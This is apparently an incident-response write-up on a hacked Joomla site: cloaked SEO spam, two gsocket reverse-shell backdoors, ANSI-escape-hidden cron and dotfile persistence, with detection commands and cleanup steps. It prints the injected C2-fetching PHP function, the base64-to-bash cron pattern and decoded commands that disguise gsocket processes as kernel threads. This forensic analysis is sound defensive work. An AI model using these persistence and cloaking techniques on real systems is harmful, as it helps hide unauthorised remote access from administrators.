I ran crontab -l. It looked empty. I checked .profile. It had a comment that said "DO NOT REMOVE — System Daily Cron." I opened .bashrc. Nothing jumped out.
All three were infected. And all three were hiding their payloads using a technique I hadn't encountered before in live malware: ANSI escape codes that erase themselves from terminal output.
This is the story of a Joomla 5 site where a routine SEO spam cleanup turned into a hunt for dual gsocket reverse shell backdoors with triple-layer persistence — and how the attacker made every persistence mechanism invisible to the naked eye.
The Initial Picture
A client reached out about their Joomla 5.3.4 site. Their hosting provider's security product had flagged several files, cleaned some to zero bytes, but the client wanted a thorough manual investigation to make sure nothing was left behind.
The initial scan revealed the usual suspects:
- 7 zero-byte webshell remnants — the security product had cleaned them but left the empty files behind (PHP file managers, RCE shells, marker files)
- An SEO spam injection in the main
index.php - JCE exploit attempt artifacts in the
tmp/directory
So far, nothing unusual. Standard Joomla compromise pattern: attacker finds a webshell, uploads more tools, injects SEO spam. But the zero-byte remnants told me the security product had been reactive, not proactive. It caught the webshells after they were used — which meant the attacker had time to do more.
The SEO Spam: Cloaked Bot Targeting
Before hunting for deeper persistence, I examined the index.php injection. The attacker had prepended a function to the legitimate Joomla bootstrap file:
function smoky() {
$agents = array(
'googlebot', 'bingbot', 'yandex', 'ahrefs',
'telegram', 'facebookexternal', 'twitterbot'
);
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
foreach ($agents as $bot) {
if (strpos($ua, $bot) !== false) {
$content = @file_get_contents(
'https://[REDACTED-C2-DOMAIN]/' . $_SERVER['HTTP_HOST'] . '/'
);
if ($content) { echo $content; exit; }
}
}
}
smoky();
Classic cloaked SEO spam. Normal visitors see the real site. Search engine bots get served a completely different page — spam content fetched from an external C2 server, personalized by hostname so the attacker can manage hundreds of infected sites from one endpoint.
The function name smoky() and the C2 URL pattern matched a known campaign I've seen across multiple Joomla and WordPress sites. Nothing novel here.
What was novel was what I found next.
Finding Backdoor #1: The Fake PulseAudio Binary
When I scan a compromised account, I always check for ELF binaries in home directories. Legitimate user accounts on shared hosting almost never contain compiled executables.
find ~/ -type f -executable -exec file {} \; 2>/dev/null | grep ELF
One result stood out:
~/.config/pulse/usbmon: ELF 64-bit LSB executable, x86-64, statically linked, stripped
A 1.08 MB statically linked, stripped ELF binary hidden in ~/.config/pulse/ — a directory that mimics PulseAudio's config path, and named usbmon to look like a kernel USB monitoring utility. The mtime was backdated to September 2025, but the file's birth timestamp (via stat) told the real story: it was created on June 13, 2026, the same day as the webshell activity.
Running strings on it revealed:
GSOCKET_CONFIG
GSOCKET_SECRET
GS_PROXY
gs-netcat
gsocket
# Hackers-Choice
Global Socket. This is gsocket (by The Hacker's Choice) — a tool that creates encrypted reverse shells over the GSRN (Global Socket Relay Network). Unlike traditional reverse shells that require port forwarding or a listening server, gsocket connections work through NAT and firewalls by meeting at a relay point identified by a shared secret. It's designed for penetration testing, but in the wrong hands, it's a devastating persistence tool:
- No listening port on the victim server (nothing shows in
netstat/ss) - Encrypted communication through the GSRN relay (looks like normal HTTPS traffic)
- Survives IP changes and reboots (connects outbound, not inbound)
- No firewall rules needed (works through NAT, unlike bind shells)
The attacker had downloaded it via wget from GitHub's raw content CDN — which the .wget-hsts file in the home directory confirmed.
The Crontab: Looks Empty, Isn't
Naturally, I checked for persistence. The crontab was the first place to look:
$ crontab -l
$
Empty. Or so it appeared. But I'd already found a binary that had to be started somehow — a statically linked gsocket binary doesn't execute itself. So I dumped the raw crontab file instead of trusting the terminal output:
cat /var/spool/cron/crontabs/[username] | xxd | head -40
There it was. A full cron entry, hidden by ANSI escape codes:
0 2 * * * \e[2K\e[1A{BASE64-PAYLOAD}|base64 -d|bash # \e[2K
Let me break down the anti-forensics:
\e[2K— ANSI escape sequence that erases the entire current line from the terminal\e[1A— moves the cursor up one line- The trailing
# \e[2Kerases the comment line too
When you run crontab -l, the terminal processes these escape codes as it renders the output. The cron entry is printed, but immediately erased from the visible display. Your eyes see an empty crontab. The cron daemon sees a perfectly valid schedule entry.
This is not a crontab exploit. The cron entry is syntactically valid. The escape codes are in a comment portion of the line (after #), but the clever bit is that the escape codes are also placed before the base64 payload, making the entire line invisible when rendered by a terminal emulator.
Decoding the base64 payload revealed:
TERM=xterm-256color exec -a '[usbmon]' \
'/home/[REDACTED]/.config/pulse/usbmon' 2>/dev/null
The exec -a '[usbmon]' is a process name disguise — when you run ps aux, instead of seeing the full path to the gsocket binary, you see [usbmon], which looks like a kernel thread (kernel threads appear in square brackets in process listings). Most administrators would skip right over it.
This cron job ran daily at 2 AM, ensuring the reverse shell was restarted if killed.
Finding Backdoor #2: The Fake SSH Key
With one gsocket binary found, I expanded the search. ELF binaries can hide anywhere in the home directory tree:
find ~/ -type f -size +100k -exec file {} \; | grep ELF
A second hit:
~/.ssh/putty/id_rsa: ELF 64-bit LSB executable, x86-64, statically linked, stripped
A 2.83 MB binary disguised as an SSH private key, stored in a fake putty/ subdirectory inside .ssh/. This was a different gsocket build — larger, full-featured gs-netcat. Alongside it:
~/.ssh/putty/[hostname].ppk # 23 bytes - GS secret key
The .ppk file contained the shared secret used to authenticate with the GSRN relay. Two different gsocket binaries, two different builds, two different hiding spots — redundancy in case one was discovered.
The .profile: Social Engineering in a Dotfile
Now I knew there had to be a second persistence mechanism for the second binary. The crontab handled usbmon. What started id_rsa?
I checked ~/.profile:
$ cat ~/.profile
# DO NOT REMOVE - System Daily Cron
# AUTO-BACKUP ID: c3f9e0d1b8a7 >/dev/random
# NOTE DO NOT REMOVE - Daily system backup
At first glance? System comments. The kind of thing a hosting provider might add. The >/dev/random at the end of the "AUTO-BACKUP ID" line even redirects any accidental output to /dev/random (a write-only sink in this context), preventing the payload from producing visible output.
But between those fake comments was the real payload, wrapped in curly braces with a base64 pipe:
# DO NOT REMOVE - System Daily Cron
{BASE64-ENCODED-PAYLOAD|base64 -d|bash;} 2>/dev/null
# AUTO-BACKUP ID: c3f9e0d1b8a7 >/dev/random
# NOTE DO NOT REMOVE - Daily system backup
Decoded:
TERM=xterm-256color \
GS_ARGS="-k /home/[REDACTED]/.ssh/putty/[hostname].ppk -liqD" \
exec -a '[card0-crtc8]' \
'/home/[REDACTED]/.ssh/putty/id_rsa' 2>/dev/null
This one was even more sophisticated than the crontab entry:
-k [hostname].ppk— uses the shared secret key for GSRN authentication-liqD— listen mode, interactive, quiet, daemon (backgrounded)exec -a '[card0-crtc8]'— process disguise as a DRM kernel thread (card0-crtc8 is a legitimate kernel process name related to GPU display controllers)2>/dev/null— suppress all error output
This executes on every SSH login. The attacker had persistent access through two independent channels — even if one was discovered and killed, the other would reconnect on the next login or at 2 AM.
The .bashrc: Triple Redundancy
At this point I was checking everything. And sure enough, .bashrc had also been infected — with the same ANSI escape code technique as the crontab:
# Normal .bashrc content above...
\e[2K\e[1A{SAME-USBMON-BASE64-PAYLOAD}|base64 -d|bash # \e[2K
Identical payload to the crontab entry: starts usbmon disguised as a kernel thread. The ANSI codes make it invisible when you cat the file in a terminal. You'd have to pipe through xxd or open it in a hex editor to see it.
Three persistence mechanisms for two backdoors:
- Crontab (ANSI-cloaked) → starts
usbmon(gsocket #1) daily at 2 AM - .bashrc (ANSI-cloaked) → starts
usbmon(gsocket #1) on every interactive shell - .profile (social engineering comments) → starts
id_rsa(gsocket #2) on every login
Kill the process? It restarts on login. Clear the crontab? It restarts from .bashrc. Clean .bashrc? The crontab brings it back at 2 AM. And the second backdoor has its own independent persistence through .profile.
The ANSI Escape Code Technique in Detail
This anti-forensic technique deserves a closer look because it's elegant and effective.
ANSI escape codes are terminal control sequences. They're used for colors, cursor movement, and screen manipulation. Every modern terminal emulator processes them. The key sequences used here:
\e[2K — Erase entire line (CSI 2 K)
\e[1A — Cursor up 1 line (CSI 1 A)
When a terminal emulator renders a line containing \e[2K\e[1A, it:
- Prints the line content
- Encounters
\e[2K— erases the line that was just printed - Encounters
\e[1A— moves the cursor up one line
The result: the line existed in the output stream but was visually erased before the human could see it. The trailing \e[2K after the # comment erases any residual rendering.
Why This Evades Standard Checks
crontab -l→ invisible (terminal processes the escape codes)cat ~/.bashrc→ invisible (same reason)less ~/.bashrc→ visible (less doesn't process raw escape codes by default)cat ~/.bashrc | xxd→ visible (hex dump shows raw bytes)grep -P '\x1b' ~/.bashrc→ detectable (searches for ESC byte 0x1b)
The fix is simple once you know to look: never trust terminal-rendered output for security checks. Always pipe through cat -v (shows escape codes as ^[), xxd, or search directly for the escape byte.
Detection One-Liner
# Find ANSI escape codes in all dotfiles and crontabs
grep -rP '\x1b\[' ~/.profile ~/.bashrc ~/.bash_login ~/.bash_logout 2>/dev/null
crontab -l | cat -v | grep '\^'
The Attack Timeline
Correlating access logs, file timestamps, and the .wget-hsts cache, the attack unfolded over a single morning:
- 03:39 — Reconnaissance: attacker probed the JCE (Joomla Content Editor) extension version via its XML manifest
- 04:15 — Initial access: a pre-existing webshell (from a previous compromise) was used to download and execute a shell script from a known malware distribution domain
- 04:16-04:17 — Tooling: a PHP file manager webshell was uploaded and used to browse the filesystem
- 06:40 — A second attacker (different IP) attempted a JCE profile import exploit — ~20 POST requests, all returned 301. This attack failed
- ~08:12 — The first attacker injected the SEO spam function into
index.php - ~10:31 — gsocket binaries deployed, persistence mechanisms installed across crontab, .profile, and .bashrc
Two independent threat actors hit the same site on the same day. The first succeeded through a pre-existing webshell. The second failed because the JCE exploit they attempted didn't work against this version. The server's security product caught the webshells hours later — cleaning them to zero bytes — but completely missed the gsocket binaries and all three persistence mechanisms.
Why the Security Product Missed It
The server had an active security product that caught and quarantined the PHP webshells. But it missed everything else. Here's why:
- gsocket binaries are statically linked and stripped — no shared library dependencies, no debug symbols, no PHP signatures. File-based scanners looking for PHP malware patterns won't flag a compiled ELF binary
- The binaries were outside the web root —
~/.config/pulse/and~/.ssh/putty/are not directories that web malware scanners typically inspect - Mtimes were backdated —
usbmonshowed September 2025 as its modification time. Time-based scanning ("find files modified in the last 7 days") would miss it entirely - Persistence was in standard dotfiles — crontabs, .profile, and .bashrc are not treated as suspicious by web security products. They don't scan shell configuration files
- ANSI cloaking defeated visual inspection — even if an analyst checked the crontab and dotfiles, they'd see nothing. The malware was invisible at the terminal rendering layer
The Remediation
Cleanup had to be thorough and simultaneous to prevent any persistence mechanism from respawning the others:
- Restored
index.phpfrom a known clean Joomla backup - Deleted
usbmonfrom~/.config/pulse/ - Deleted
id_rsa(gsocket #2) and the.ppksecret key from~/.ssh/putty/ - Cleaned the crontab (removed the ANSI-cloaked entry)
- Emptied
~/.profile(removed the social-engineering-disguised launcher) - Cleaned
~/.bashrc(removed the ANSI-cloaked line) - Deleted all zero-byte webshell remnants and attacker artifacts
- Verified no gsocket processes were still running
- Confirmed the site loaded correctly post-cleanup
The key insight: you can't clean the persistence mechanisms one at a time. If you clean the crontab but miss .bashrc, the next interactive shell restarts the backdoor. If you kill the binary but miss .profile, the next SSH login downloads or restarts it. All layers must be eliminated in one pass.
Key Takeaways
- Never trust terminal-rendered output for security audits.
crontab -landcatprocess ANSI escape codes. Always verify withcat -v,xxd, orgrep -P '\x1b'. If your investigation relies on reading crontabs and dotfiles in a terminal emulator, you have a blind spot. - Scan for ELF binaries in home directories.
find ~/ -type f -exec file {} \; | grep ELFtakes seconds and catches gsocket, reverse shells, cryptominers, and other compiled backdoors that PHP malware scanners completely miss. - Check ALL dotfiles, not just obvious ones. Attackers target
.bashrc,.profile,.bash_login,.bash_logout— any file that executes on login or shell start. The social engineering in .profile (fake "DO NOT REMOVE" system comments) was designed to make administrators leave it alone. - Mtime is unreliable. The gsocket binary showed a modification time 9 months in the past. If you're scanning by "recently modified files," you'll miss backdated malware. Use birth time (
stat -c %W) orfindwith content-based patterns instead. - Process name disguise is trivial in Linux.
exec -a '[kernel-thread-name]'makes any process look like a kernel thread inpsoutput. If you see a kernel thread name (square brackets) running under a non-root user, that's impossible — kernel threads always run as root. That's your signal. - gsocket/GSRN leaves no listening ports. Traditional reverse shell detection ("check for unexpected listening ports") doesn't work. gsocket connects outbound through the relay network. The only detection vector is the binary itself, the process, or the persistence mechanism.
The most concerning aspect of this case wasn't the complexity of the malware — it was the invisibility. An administrator checking the crontab, reading .profile, and scanning .bashrc would have seen nothing suspicious. The attacker didn't just hide in plain sight — they made the hiding mechanism actively erase itself from the investigator's display.
That's the lesson here. Your terminal is not a forensic tool. It's a rendering engine. And rendering engines can be lied to.